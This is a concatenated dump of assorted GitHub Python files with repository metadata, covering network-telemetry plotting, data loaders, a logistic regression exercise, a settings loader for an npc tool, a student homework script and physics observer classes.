0.01, 0.1},\n xticklabels={10$\\mu$s, 100$\\mu$s, 1ms, 10ms, 0.1s},\n ytick={0, 20, 40, 60, 80, 100},\n yticklabels={0, 20, 40, 60, 80, 100},\n height=5cm,\n width={\\linewidth},\n ]\n \\draw[draw=red!25, fill=red!25] (axis cs:0.000001, 0) rectangle (axis cs:0.1, 100);\n \\addplot+[mark=none, thick, cGreen, fill=cGreen!30] table[x=x, y=y, col sep=comma] {netseer.csv} \\closedcycle;\n \\draw (axis cs:0.00001, 35) node[right] {\\small{Operational}};\n \\draw (axis cs:0.0008, 65) node[right] {\\small{Not Operational}};\n \\draw (axis cs:0.001, 20) node[cross, cRed!25] {};\n\\end{axis}\n\\end{tikzpicture}\n\\end{document}\"\"\"\n\n with tempfile.TemporaryDirectory() as tmpdirname:\n\n # runs commands in that directory\n with cwd(tmpdirname):\n # create netseer.csv\n save_netseer_limits_basic_lines(\n \"netseer.csv\", buffer_size, avg_pkt_size)\n\n # save tex file\n with open(\"netseer.tex\", \"w\") as fp:\n fp.write(doc)\n\n # compile the document\n os.system(\"pdflatex netseer.tex\")\n\n # move pdf to output_file\n cur_name = \"netseer.pdf\"\n shutil.copy(cur_name, output_file)\n\n\n###\n# Required memory plots\n###\n\"\"\"\nINFO ABOUT TOFINO MEMORY\n\nTofino 1: 15MB per pipe. We know they allocate 48/80 to registers thus 9MB per\npipe. And ~0.75 per stage.\n\nTofino 2: Has 25MB per pipe. Following same logic -> 15MB per pipe and 0.75 per\nstage! so the same. \n\nTofino 3: 20MB per pipe (but has 8 pipes, but still double speed). If we follow\nthe same logic than tofino 1, they allocate 12MB per pipe. They dont say how\nmany stages though, I assume 20 as well.\n\"\"\"\n\n# required memory plot\n\n\ndef needed_bucket_ring_size(link_delay, bandwidth, pkt_size):\n \"\"\"\n Computes the amount of buckets needed to not overwrite the buffer\n Args:\n link_delay ([type]): [description]\n bandwidth ([type]): bandwidth in gb\n pkt_size ([type]): [description]\n \"\"\"\n\n # transform bandwidth to bytes per second\n # banswidth comes in Gigabytes\n byte_rate = (bandwidth * 1000000000) / 8\n\n # two times rtt\n rtt = link_delay * 2\n # total bytes in flight\n rtt_trasmitted_bytes = byte_rate * rtt\n # number of buckets to be able to hold that amount in flight\n bucket_size = rtt_trasmitted_bytes / pkt_size\n\n return bucket_size\n\n\ndef bucket_size_to_memory(bucket_size, cell_cost, switch_ports):\n return bucket_size * cell_cost * switch_ports\n\n\ndef tofino_memory(block_size=128, blocks_mau=48, stages=1):\n # block size in KBit.\n # returns MBs\n return ((block_size / 8) * blocks_mau * stages) / 1000\n\n\ndef find_memory_intersect(data, memory):\n \"\"\"_summary_\n\n Args:\n data (_type_): _description_\n memory (_type_): _description_\n\n Returns:\n _type_: _description_\n \"\"\"\n for i, (delay, data_mem) in enumerate(data):\n if data_mem <= memory and memory <= data[i + 1][1]:\n # get closer\n if abs(memory - data_mem) < abs(memory - data[i + 1][1]):\n return delay, data_mem\n else:\n return data[i + 1]\n\n # if nothing was found\n return -1, -1\n\n\n\"\"\"\nPlots net seer memory requirements (Figure 2 Sigcomm 2022)\n\"\"\"\n\n\ndef plot_netseer_memory_requirements(\n out_name, switches, packet_size=1024, cell_cost=13):\n \"\"\"\n Computes and prints the needed memory for netseer to be operational\n at different delays and bandwidths\n Args:\n bandwidths (list, optional): [description]. Defaults to [10, 40, 100].\n num_ports (int, optional): [description]. Defaults to 64.\n cell_cost (int, optional): [description]. Defaults to 13.\n \"\"\"\n\n # set rc params\n set_rc_params()\n\n link_delays = np.logspace(-4, -1, 1000) # from 10us to 10ms\n switch_to_line = {x: [] for x in switches.keys()}\n\n for switch, (switch_ports, bw, _) in switches.items():\n line = []\n for delay in link_delays:\n bucket_size = needed_bucket_ring_size(delay, bw, packet_size)\n memory = bucket_size_to_memory(\n bucket_size, cell_cost, switch_ports)\n # right now memory in KB\n line.append((delay, memory / 1000))\n switch_to_line[switch] = line[:]\n\n fig = plt.figure()\n ax = fig.add_subplot(111)\n ax.set_xscale(\"log\")\n # ax.set_yscale(\"log\")\n\n max_y = 500\n ax.set_ylim([0, max_y])\n\n c = ['b', 'r', 'k', 'g', 'm']\n ls = [':', '--', '-', '-.', '--']\n\n #line_styles = [('b', '--'), ('g', \"--\"), (\"k\", \"-\")]\n\n i = 0\n for switch, data in switch_to_line.items():\n ports, bw, memory = switches[switch]\n x = [x[0] for x in data]\n y = [x[1] / 1000 for x in data]\n # add line\n ax.plot(\n x, y, label='{}-ports x {}Gbps'.format(ports, bw),\n color=c[i],\n ls=ls[i])\n #s = ('{} Tbps Switch'.format((ports * bw)/1000))\n # if i == 0:\n # s = \" \" + s\n # print(s)\n #ax.plot(x, y, label=s, color=c[i], ls=ls[i])\n\n # add x and y bars\n # Not used anymore?\n intersect_delay, intersect_memory = find_memory_intersect(\n data, memory * 1000)\n # back to mb\n intersect_memory = intersect_memory / 1000\n\n # instead of vertical line\n #ax.plot([0, intersect_delay], [intersect_memory, intersect_memory], linewidth=0.5, color=c[i], ls=ls[i])\n #ax.axvline(x=intersect_delay, ymin=0, ymax=intersect_memory/max_y, linewidth=0.5, color=c[i], ls=ls[i])\n\n # ax.axvline()\n # ax.axhline()\n\n i += 1\n\n #ax.plot([0, 1e-1], [15, 15], linewidth=0.5, color='grey', ls='--', label=\"Memory per pipeline\")\n #ax.axhline(y=100, xmin=0, xmax=1, linewidth=0.5, color='r', ls='-')\n #ax.axvline(x=1e-3, ymin=0, ymax=1, linewidth=0.5, color='r', ls='--')\n #ax.axvline(x=1e-2, ymin=0, ymax=1, linewidth=0.5, color='r', ls='--')\n\n #ax.set_title(\"NetSeer Memory usage for a {}-port switch and {}B packets\".format(switch_ports, packet_size))\n ax.margins(x=0, y=0)\n # ax.set_yticks([20, , 100, 150, 200, 300, 400])\n #ax.set_yticklabels([\"10us\", \"100us\", \"1ms\", \"10ms\"])\n\n ax.set_xticks([1e-4, 1e-3, 1e-2, 1e-1])\n ax.set_xticklabels([\"100us\", \"1ms\", \"10ms\", \"100ms\"])\n\n ax.set_xlabel(\"Inter-Switch Link Latency (log scale)\")\n ax.set_ylabel(\"Required Memory (MB)\")\n\n legend = plt.legend(loc=2)\n for t in legend.get_texts():\n t.set_ha('right')\n\n plt.savefig(out_name)\n\n\ndef plot_and_crop(\n file_name=\"netseer_memory_usage.pdf\",\n dst=\"/Users/edgar/p4-offloading/paper/current/figures/\"):\n import os\n plot_netseer_memory_requirements(file_name, switch_descriptions)\n # crop\n os.system(\"pdfcrop {}\".format(file_name))\n # send to paper figures\n crop_name = file_name.replace(\".pdf\", \"-crop.pdf\")\n os.system(\"cp {} {}\".format(crop_name, dst))\n\n\nif __name__ == \"__main__\":\n \"\"\"Instructions to plot from cmd.\n \"\"\"\n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--plot', help=\"What to plot\",\n type=str, required=False, default=\"\")\n parser.add_argument(\n '--output', help=\"Where to save the plot (including name)\",\n type=str, required=False, default=\"\")\n args = parser.parse_args()\n\n if args.plot == \"memory_requirements\":\n avg_pkt_size = 1204\n bytes_per_packet = 13\n plot_netseer_memory_requirements(\n args.output, switch_descriptions, avg_pkt_size, bytes_per_packet)\n elif args.plot == \"operational\":\n buffer_size = 1000\n avg_pkt_size = 1024\n plot_netseer_operational_latex(args.output, buffer_size, avg_pkt_size)\n else:\n # just imports\n pass\n","repo_name":"nsg-ethz/FANcY","sub_path":"experiments/fancy/plots/plot_netseer.py","file_name":"plot_netseer.py","file_ext":"py","file_size_in_byte":14185,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"47"} +{"seq_id":"5770360583","text":"import os\nimport pickle\n\nimport battleship\n\nfor fname in os.listdir(\"ships\"):\n with open(os.path.join(\"ships\", fname), \"rb\") as infile:\n try:\n ships = pickle.load(infile)\n result, _ = battleship.place_ships(ships)\n if not result:\n print(\"Invalid ship configuration: \", fname, ships)\n except:\n print(\"Ivalid file\", fname)\n","repo_name":"mike239x/battleship","sub_path":"ships/verifier.py","file_name":"verifier.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"35443078004","text":"import os\n\nfrom sdcclient import SdcClient\n\n\nclass SysdigClient(object):\n\n def __init__(self, token=\"\"):\n if not token:\n token = os.getenv(\"SYSDIG_TOKEN\")\n self._Token = token\n if not self._Token:\n raise ValueError((f\"Invalid Sysdig configuration. \"\n f\"Token not set (SYSDIG_TOKEN) or passes\"))\n self._Severity = 7\n self._Client = SdcClient(self._Token)\n\n def write(self, **kwargs):\n msg = kwargs.get(\"description\", \"\")\n if msg:\n self.post_alert({'name': msg,\n 'description': kwargs.get(\"data\", \"\"),\n 'severity': kwargs.get('severity', self._Severity)})\n\n def post_alert(self, info):\n return self._Client.post_event(name=info['name'], description=info['description'],\n severity=info['severity'])\n\n","repo_name":"jcaustin98/ee_framework","sub_path":"sysdig/sysdig_client.py","file_name":"sysdig_client.py","file_ext":"py","file_size_in_byte":918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8854967445","text":"import numpy\n\nages = [5,31,43,48,50,41,7,11,15,39,80,82,32,2,8,6,25,36,27,61,31]\n\n# PERCENTILE\n# percentiles are used in statistics to give a number that describes the value that a given percent of the values are lower than.\n# what is the 75. percentile? The answer is 43, meaning that 75% of the people are 43 or younger.\nx = numpy.percentile(ages, 75)\nprint(f'Percentile = {x}')\n\n\n","repo_name":"summitkhatiwada22/machine-learning-basics","sub_path":"percentile.py","file_name":"percentile.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37603018885","text":"import numpy as np\nimport pandas as pd\n\ndf = pd.read_csv('features.csv')\n\nall_api_calls_file = open('mixed_dataset/all_api_calls.txt')\nall_api_calls = []\n#column_names = []\nfor lines in all_api_calls_file.readlines():\n\tall_api_calls.append(lines[:-1])\n\n\nf = open('varthresh.txt','w')\n#VarianceThreshold\nfrom sklearn.feature_selection import VarianceThreshold\nsel = VarianceThreshold(threshold=(.8 * (1 - .8)))\nx = pd.DataFrame(sel.fit_transform(df))\n\n\nprint (sel.get_support(indices=True))\nselected_features = sel.get_support(indices=True)\n\nfor a in selected_features:\n\tf.write(all_api_calls[a]+\"\\n\")\nf.close()\t\n","repo_name":"sammy4321/Android-Malware-Detection-Using-Deep-Learning","sub_path":"varthresh.py","file_name":"varthresh.py","file_ext":"py","file_size_in_byte":612,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"47"} +{"seq_id":"18161129966","text":"import numpy as np\nimport torch\nfrom torch.utils.data import Dataset\n\n\nclass KoopmanDataset(Dataset):\n def __init__(self, file_paths, sequence_length=51, limit=-1):\n self.file_paths = file_paths\n self.sequence_length = sequence_length\n self.input_dim = None\n\n self.data = []\n for file in self.file_paths:\n self.data.append(self.load_file(file))\n self.data = torch.cat([n for n in self.data])\n if limit > 0:\n self.data = self.data[:limit]\n\n def load_file(self, file_path):\n x = torch.from_numpy(np.genfromtxt(file_path, delimiter=\",\", dtype=np.float32))\n if self.input_dim is None:\n self.input_dim = x.shape[1]\n\n return x.reshape(-1, self.sequence_length, self.input_dim)\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, index):\n return self.data[index]\n","repo_name":"perovai/deepkoopman","sub_path":"aiphysim/dataloading/koopman_dataset.py","file_name":"koopman_dataset.py","file_ext":"py","file_size_in_byte":901,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"7609123391","text":"#logistic regression using vectorization\n\nimport math\nimport numpy as np\nfrom sklearn.linear_model import LogisticRegression\nimport sklearn.datasets\nimport matplotlib.pyplot as plt\nfrom sklearn.cross_validation import train_test_split\n\ndef sigmoid(x):\n\treturn 1/(1 + np.exp(-x))\n\n\ndef hypothesis(theta, x):\n\tz = np.dot(x, theta)\n\treturn sigmoid(z)\n\n\ndef loss(h, y):\n return (-y * np.log(h) - (1 - y) * np.log(1 - h)).mean() \n\n\ndef gradient_descent(X, h, y):\n\t\n\tgradient = np.dot(X.T, (h - y))/len(y)\n\treturn gradient\n\ndef logistic_regression(X, y, theta, alpha, numiters):\t\n\n\tfor i in range(numiters):\n\n\t\th = hypothesis(theta, X)\n\n\t\tgradient = gradient_descent(X, h, y)\n\n\t\ttheta = theta - (alpha) * gradient\t\n\t\t\n\t\th = hypothesis(theta, X)\n\t\tcost = loss(h, y)\n\n\treturn theta, cost\t\n\n\nif __name__ == '__main__':\n\n\tdata = np.loadtxt('ex2data1.txt', delimiter = ',')\n\n\tX = data[:, [0, 1]]\n\ty = data[:, 2]\n\n\t#iris = sklearn.datasets.load_iris()\n\t#X = iris.data[:, :2]\n\t#y = (iris.target != 0) * 1\n\n\t#plotting the given data\n\n\tpos = np.where(y == 1)\n\tneg = np.where(y == 0)\n\n\tplt.scatter(X[pos, 0], X[pos, 1], marker='o', c='b')\n\tplt.scatter(X[neg, 0], X[neg, 1], marker = 'x', c ='r')\n\tplt.show()\n\n\txtrain, xtest, ytrain, ytest = train_test_split(X, y, test_size = 0.5, random_state = 0)\n\n\tclf = LogisticRegression()\n\tclf.fit(xtrain, ytrain)\n\n\tres = clf.predict(xtest)\n\n\tscore = 0\n\n\t#caclulating the score\n\n\tfor i in range(len(res)):\n\t\tif(res[i] == ytest[i]):\n\t\t\tscore += 1\n\n\tprint(\"accuracy using manual calculation \", score/len(xtest))\t\n\n\tfrom sklearn.metrics import accuracy_score # accuracy using sklearn\n\n\tprint( \"using sklearn's metric's accuracy_score function \",accuracy_score(res, ytest))\t\n\n\tones = np.ones(X.shape[0]).reshape(-1, 1)\n\tX = np.concatenate((ones, X), axis = 1)\n\n\ttheta = np.zeros(X.shape[1])\n\n\tnumiters = 15000\n\n\talpha = 0.0001\n\n\tnew_theta, cost = logistic_regression(X, y, theta, alpha, numiters)\n\tprint(new_theta, cost)\n\tprint(clf.coef_, clf.intercept_)","repo_name":"adithbharadwaj/Machine-Learning","sub_path":"logisticRegression/logistic_regression_vectorized.py","file_name":"logistic_regression_vectorized.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"21894349708","text":"import pandas as pd\nimport glob\nimport numpy as np\nimport re\n\ntargetFilePath = '/Users/shah/Developer/PythonVirtualEnv/lib/python2.7/site-packages/eHostess/PyConTextInterface/TargetsAndModifiers/targets.tsv'\n\ntargetsFrame = pd.read_csv(targetFilePath, sep='\\t')\n\ntargetNames = targetsFrame[\"Lex\"].as_matrix()\ntargetRegexes = targetsFrame[\"Regex\"].as_matrix()\n\ndocClassPath = \"/users/shah/Box Sync/MIMC_v2/Gold Standard/DocumentClasses.txt\"\ndocClassFrame = pd.read_csv(docClassPath, sep='\\t', header=None, names=[\"name\", \"class\"], dtype={\"name\" : np.str, \"class\" : np.int64})\n\n# get list of documents in first four batches\ncorpusDirectories = ['/users/shah/Box Sync/MIMC_v2/Annotation/Adjudication/batch_0/corpus/*',\n '/users/shah/Box Sync/MIMC_v2/Annotation/Adjudication/batch_1/corpus/*',\n '/users/shah/Box Sync/MIMC_v2/Annotation/Adjudication/batch_2/corpus/*',\n '/users/shah/Box Sync/MIMC_v2/Annotation/Adjudication/batch_3/corpus/*']\n\ndocNamesRaw = []\nfor dir in corpusDirectories:\n docNamesRaw.extend(glob.glob(dir))\n\ndef cleanNameFunc(name):\n fullName = name.split('/')[-1]\n noExtension = fullName.split('.')[0]\n return noExtension\n\npilotNames = map(cleanNameFunc, docNamesRaw)\n\nallNames = docClassFrame[\"name\"].as_matrix()\nallClasses = docClassFrame[\"class\"].as_matrix()\n\nindices = []\nfor name in pilotNames:\n index = np.where(allNames == name)[0][0]\n indices.append(index)\n\npilotNames = allNames[indices]\npilotClasses = allClasses[indices]\n\npositiveFrequencies = np.zeros(len(targetNames))\nnegativeFrequencies = np.zeros(len(targetNames))\n\nfor docPath in docNamesRaw:\n with open(docPath, 'rU') as inFile:\n noteBody = inFile.read()\n cleanName = cleanNameFunc(docPath)\n indexOfName = np.where(pilotNames == cleanName)[0][0]\n docClass = pilotClasses[indexOfName]\n\n for index, regex in enumerate(targetRegexes):\n count = len(re.findall(regex, noteBody, re.I))\n if docClass == 1:\n positiveFrequencies[index] += count\n else:\n negativeFrequencies[index] += count\n\ntotalFrequencies = negativeFrequencies + positiveFrequencies\ngroups = zip(targetNames, totalFrequencies, positiveFrequencies, negativeFrequencies)\ngroups.sort(key=lambda x: x[1], reverse=True)\ninitialLists = map(list, zip(*groups))\ntargetNames = initialLists[0]\ntotalFrequencies = initialLists[1]\npositiveFrequencies = initialLists[2]\nnegativeFrequencies = initialLists[3]\nwith open(\"Frequencies.txt\", 'w') as outFile:\n for name in targetNames:\n outFile.write(name + '\\t')\n outFile.write('\\n')\n for freq in totalFrequencies:\n outFile.write(\"%i\\t\" % freq)\n outFile.write('\\n')\n for freq in positiveFrequencies:\n outFile.write(\"%i\\t\" % freq)\n outFile.write('\\n')\n for freq in negativeFrequencies:\n outFile.write(\"%i\\t\" % freq)\n outFile.write('\\n')\n\n\n\n","repo_name":"MaxTaggart/CV_MachineLearning","sub_path":"PyConText/TargetTermFrequency.py","file_name":"TargetTermFrequency.py","file_ext":"py","file_size_in_byte":2909,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"72832991184","text":"\"\"\"\nLoad and save settings info\n\"\"\"\n\nimport yaml\nfrom collections import defaultdict\nfrom importlib import resources\nfrom functools import cached_property\n\nfrom pathlib import Path\nfrom npc import __version__ as npc_version\nfrom npc.util import DataStore, ParseError\nfrom npc.util.functions import merge_data_dicts, prepend_namespace\nfrom .tags import make_deprecated_tag_specs\nfrom .helpers import quiet_parse\nfrom .systems import System\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nclass Settings(DataStore):\n \"\"\"Core settings class\n\n On init, it loads the default settings, followed by settings in the personal_dir. The campaign_dir is saved\n for later use.\n\n Settings are stored in yaml files.\n \"\"\"\n def __init__(self, personal_dir: Path = None):\n super().__init__()\n\n if(personal_dir is None):\n personal_dir = Path('~/.config/npc/').expanduser()\n self.personal_dir: Path = personal_dir\n self.campaign_dir: Path = None\n\n self.install_base = resources.files(\"npc\")\n self.default_settings_path = self.install_base / \"settings\"\n self.versions = {\n \"package\": npc_version,\n }\n self.loaded_paths = {\n \"package\": None,\n }\n\n # load defaults and user prefs\n self.refresh()\n\n def refresh(self) -> None:\n \"\"\"\n Clear internal data, and refresh the default and personal settings files\n \"\"\"\n self.data = {}\n self.load_settings_file(self.default_settings_path / \"settings.yaml\", file_key=\"internal\")\n self.load_systems(self.default_settings_path / \"systems\")\n self.load_settings_file(self.personal_dir / \"settings.yaml\", file_key=\"user\")\n self.load_systems(self.personal_dir / \"systems\")\n\n def load_settings_file(self, settings_file: Path, namespace: str = None, *, file_key: str = None) -> None:\n \"\"\"Open, parse, and merge settings from another file\n\n This is the primary way to load more settings info. Passing in a file path that does not exist will\n result in a log message and no error, since all setting files are technically optional.\n\n The file_key for any given file should be unique. These are the keys in use right now:\n * internal\n * user\n * campaign\n\n Args:\n settings_file (Path): The file to load\n namespace (str): Optional namespace to use for new_data\n file_key (str): Key to use when storing the file's stated npc version and path\n \"\"\"\n\n loaded: dict = quiet_parse(settings_file)\n if loaded is None:\n return\n\n if file_key:\n file_version = loaded.get(\"npc\", {}).pop(\"version\", None)\n self.versions[file_key] = file_version\n self.loaded_paths[file_key] = settings_file\n\n self.merge_data(loaded, namespace)\n\n def load_systems(self, systems_dir: Path) -> None:\n \"\"\"Parse and load all system configs in systems_dir\n \n Finds all yaml files in systems_dir and loads them as systems. Special handling allows deep \n inheritance, and prevents circular dependencies between systems.\n \n Args:\n systems_dir (Path): Dir to check for system config files\n \"\"\"\n system_settings:list = systems_dir.glob(\"*.yaml\")\n dependencies = defaultdict(list)\n\n for settings_file in system_settings:\n loaded = quiet_parse(settings_file)\n if loaded is None:\n continue\n\n system_name = next(iter(loaded))\n loaded_contents = loaded[system_name]\n\n if \"extends\" in loaded_contents:\n dependencies[loaded_contents[\"extends\"]].append(loaded)\n continue\n\n self.merge_data(loaded, namespace=\"npc.systems\")\n\n def load_dependencies(deps: dict):\n \"\"\"Handle dependency loading\n \n Unrecognized parents are stored away for the next iteration. Otherwise, children are merged with \n their parent's attributes, then merged into self.\n\n If the dependencies do not change for one iteration, then the remaining systems cannot be loaded \n and are skipped.\n \n Args:\n deps (dict): Dict mapping parent system keys to child system configs\n \"\"\"\n new_deps = {}\n for parent_name, children in deps.items():\n if parent_name not in self.get(\"npc.systems\"):\n new_deps[parent_name] = children\n continue\n\n for child in children:\n child_name = next(iter(child))\n parent_conf = dict(self.get(f\"npc.systems.{parent_name}\"))\n combined = merge_data_dicts(child[child_name], parent_conf)\n self.merge_data(combined, namespace=f\"npc.systems.{child_name}\")\n if not new_deps:\n return\n if new_deps == deps:\n logger.error(f\"Some systems could not be found: {deps.keys()}\")\n return\n load_dependencies(new_deps)\n\n load_dependencies(dependencies)\n\n def load_types(self, types_dir: Path, *, system_key: str, namespace_root: str = \"npc\") -> None:\n \"\"\"Load type definitions from a path for a given game system\n\n Parses and stores type definitions found in types_dir. All yaml files in that dir are assumed to be\n type defs. Files immediately in the dir are parsed first, then a subdir matching the given system key\n is checked.\n\n Parsed definitions are put into the \"x.types.system\" namespace. The root of this namespace is\n determined by the namespace_root passed, and the system component uses the system key provided.\n\n The sheet_path property is handled specially. If it's present in a type's yaml, then that value is\n used. If not, a file whose name matches the type key is assumed to be the correct sheet contents file.\n\n Args:\n types_dir (Path): Path to look in for type definitions\n system_key (str): Key of the game system these types are for\n namespace_root (str): [description] (default: `\"npc\"`)\n \"\"\"\n def process_types_dir(search_dir: Path) -> None:\n \"\"\"Load yaml files, expand sheet paths, handle implied sheets\n\n This internal helper method scans all the files in search_dir and tries to load them by their type:\n * yaml files are treated as type definitions and parsed. If they have a sheet_path property, it is\n expanded into a fully qualified Path for later use\n * All other files are set aside for later. After the types have been loaded, the base names of the\n remaining files are compared against the loaded type keys within our current namespace. Any that\n match are treated as the implicit sheet file for that type, and their Path is saved to the\n type's sheet_path property.\n\n Args:\n search_dir (Path): Directory to search for type and sheet files\n \"\"\"\n discovered_sheets: dict = {}\n for type_path in search_dir.glob(\"*.*\"):\n if type_path.suffix != \".yaml\":\n type_key: str = type_path.stem\n discovered_sheets[type_key] = type_path\n continue\n\n typedef: dict = quiet_parse(type_path)\n try:\n type_key: str = next(iter(typedef))\n except TypeError:\n raise ParseError(\"Missing top-level key for type config\", type_path)\n\n if typedef[type_key].get(\"sheet_path\"):\n sheet_path = Path(typedef[type_key].get(\"sheet_path\"))\n if sheet_path.is_absolute():\n typedef[type_key][\"sheet_path\"] = sheet_path.resolve()\n else:\n typedef[type_key][\"sheet_path\"] = search_dir.joinpath(sheet_path).resolve()\n\n self.merge_data(typedef, types_namespace)\n\n for type_key, sheet_path in discovered_sheets.items():\n if type_key not in self.get(types_namespace, {}):\n logger.info(f\"Type {type_key} not defined, skipping potential sheet {sheet_path}\")\n continue\n if \"sheet_path\" not in self.get(f\"{types_namespace}.{type_key}\"):\n self.merge_data({type_key: {\"sheet_path\": sheet_path}}, types_namespace)\n\n types_namespace: str = f\"{namespace_root}.types.{system_key}\"\n process_types_dir(types_dir)\n if self.get(f\"npc.systems.{system_key}.extends\"):\n process_types_dir(types_dir / self.get(f\"npc.systems.{system_key}.extends\"))\n process_types_dir(types_dir / system_key)\n\n def get_system_keys(self) -> list[str]:\n \"\"\"Get a list of valid system keys\n\n This method only considers systems in the npc namespace.\n\n Returns:\n list[str]: List of system keys\n \"\"\"\n return self.get(\"npc.systems\").keys()\n\n def get_system(self, key: str) -> System:\n \"\"\"Get a system object for the given system key\n\n Creates a System object using the definition from the given key. If the key does not have a\n definition, returns None.\n\n Args:\n key (str): System key name to use\n\n Returns:\n System: System object for the given key, or None if the key does not have a system def\n \"\"\"\n if key not in self.get(\"npc.systems\"):\n logger.error(f\"System '{key}' is not defined\")\n return None\n\n return System(key, self)\n\n @cached_property\n def deprecated_tags(self) -> dict:\n \"\"\"Get the deprecated tag definitions\n\n These specs describe tags that should no longer be used at all, due to changes in the way that NPC\n works.\n\n Returns:\n dict: Dict of deprecated tag info, indexed by tag name\n \"\"\"\n return make_deprecated_tag_specs(self.get(\"npc.deprecated_tags\", {}))\n\n @property\n def required_dirs(self) -> list:\n \"\"\"Get the list of required campaign directories\n\n This includes the dirs for character, session, and plot files, relative to self.campaign_dir\n\n Returns:\n list: List of required directory names\n \"\"\"\n return [\n self.get(\"campaign.characters.path\"),\n self.get(\"campaign.session.path\"),\n self.get(\"campaign.plot.path\"),\n ]\n\n @property\n def init_dirs(self) -> list:\n \"\"\"Get the list of directories to create on campaign initialization\n\n This includes self.required_dirs, as well as any directory listed in the settings key\n campaign.create_on_init. All paths are to be interpreted as relative to the campaign's root.\n\n Returns:\n list: List of directory names to create on campaign init\n \"\"\"\n return self.required_dirs + self.get(\"campaign.create_on_init\")\n","repo_name":"aurule/npc","sub_path":"src/npc/settings/settings_class.py","file_name":"settings_class.py","file_ext":"py","file_size_in_byte":11134,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"47"} +{"seq_id":"8616216499","text":"import menu\r\nimport word_count\r\nimport sentencecount\r\nimport enter_text\r\n\r\n# Tamas\r\nif __name__==\"__main__\":\r\n enter_text()\r\n \r\n choice = menu()\r\n\r\n while choice != 5:\r\n \r\n if choice == 1:\r\n print(f\"\\nnThere are {sentence_count()} sentences in the text.\\n\\n\")\r\n \r\n elif choice == 2:\r\n print(f\"\\n\\nThere are {word_count()} words in the text\\n\\n\")\r\n\r\n elif choice == 3:\r\n print(f\"\\n\\nThe average word length is {average_wordlength()}\\n\\n\")\r\n\r\n elif choice == 4:\r\n print(f\"\\n\\n The most frequent word is {most_common_word()}.\\n\\n\")\r\n\r\n# elif choice == 3:\r\n# print(f\"\\n\\nThe average word length is {average_wordlength()}\\n\\n\")\r\n\r\n# elif choice == 4:\r\n# print(f\"\\n\\n The most frequent word is {most_common_word()}.\\n\\n\")\r\n\r\n choice = menu()\r\n","repo_name":"GoldFish-Codecool/git-dsk","sub_path":"Tamas Homework/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"13359923818","text":"from numpy import ndarray\nfrom raysect.optical.observer import FibreOptic\n\nfrom .base import Observer0DGroup\n\n\nclass FibreOpticGroup(Observer0DGroup):\n \"\"\"\n A group of fibre optics under a single scene-graph node.\n\n A scene-graph object regrouping a series of 'FibreOptic'\n observers as a scene-graph parent. Allows combined observation and display\n control simultaneously.\n\n :ivar list/float acceptance_angle: The angle in degrees between the z axis and the cone\n surface which defines the fibres solid angle sampling\n area. The same value can be shared between all observers,\n or each observer can be assigned with individual value.\n :ivar list/float radius: The radius of the fibre tip in metres. This radius defines a circular\n area at the fibre tip which will be sampled over. The same value\n can be shared between all observers, or each observer can be\n assigned with individual value.\n\n .. code-block:: pycon\n\n >>> from math import cos, sin, pi\n >>>\n >>> import matplotlib.pyplot as plt\n >>> from raysect.core import translate, rotate_basis, Point3D, Vector3D\n >>> from raysect.optical import World\n >>> from raysect.optical.observer import RadiancePipeline0D, SpectralRadiancePipeline0D, PowerPipeline0D, SpectralPowerPipeline0D, FibreOptic\n >>>\n >>> from cherab.tools.observers import FibreOpticGroup\n >>> from cherab.tools.observers.group.plotting import plot_group_total, plot_group_spectra\n >>>\n >>> world = World()\n >>>\n >>> transform1 = translate(3., 0, 0) * rotate_basis(Vector3D(-cos(pi/10), 0, sin(pi/10)), Vector3D(0, 1, 0))\n >>> fibre1 = FibreOptic(transform=transform1, name=\"Fibre 1\")\n >>> transform2 = translate(3, 0 ,0) * rotate_basis(Vector3D(-1, 0, 0), Vector3D(0, 1, 0))\n >>> fibre2 = FibreOptic(transform=transform2, name=\"Fibre 2\")\n >>> transform3 = translate(3, 0, 0) * rotate_basis(Vector3D(-cos(pi/10), 0, -sin(pi/10)), Vector3D(0, 1, 0))\n >>> fibre3 = FibreOptic(transform=transform3, name=\"Fibre 3\")\n >>>\n >>> group = FibreOpticGroup(name='MyFibreGroup', parent=world, observers=[fibre1, fibre2])\n >>> group.add_observer(fibre3)\n >>> pipelines = [SpectralRadiancePipeline0D, RadiancePipeline0D]\n >>> keywords = [{'name': 'MySpectralPipeline'}, {'name': 'MyMonoPipeline'}]\n >>> group.connect_pipelines(pipelines, keywords) # add pipelines to all observers in the group\n >>> group.acceptance_angle = 2 # same value for all fibres in the group\n >>> group.radius = 2.e-3\n >>> group.spectral_bins = 512\n >>> group.pixel_samples = [2000, 1000, 2000] # individual value for each fibre in the group\n >>> group.observe() # combined observation\n >>>\n >>> plot_group_spectra(group, item='MySpectralPipeline', in_photons=True) # plot the spectra\n >>> plot_group_total(group, item='MyMonoPipeline') # plot the total signals\n >>> plt.show()\n \"\"\"\n _OBSERVER_TYPE = FibreOptic\n\n @property\n def acceptance_angle(self):\n # The angle in degrees between the z axis and the cone surface which defines the fibres\n # solid angle sampling area.\n return [observer.acceptance_angle for observer in self._observers]\n\n @acceptance_angle.setter\n def acceptance_angle(self, value):\n if isinstance(value, (list, tuple, ndarray)):\n if len(value) == len(self._observers):\n for observer, v in zip(self._observers, value):\n observer.acceptance_angle = v\n else:\n raise ValueError(\"The length of 'acceptance_angle' ({}) \"\n \"mismatches the number of observers 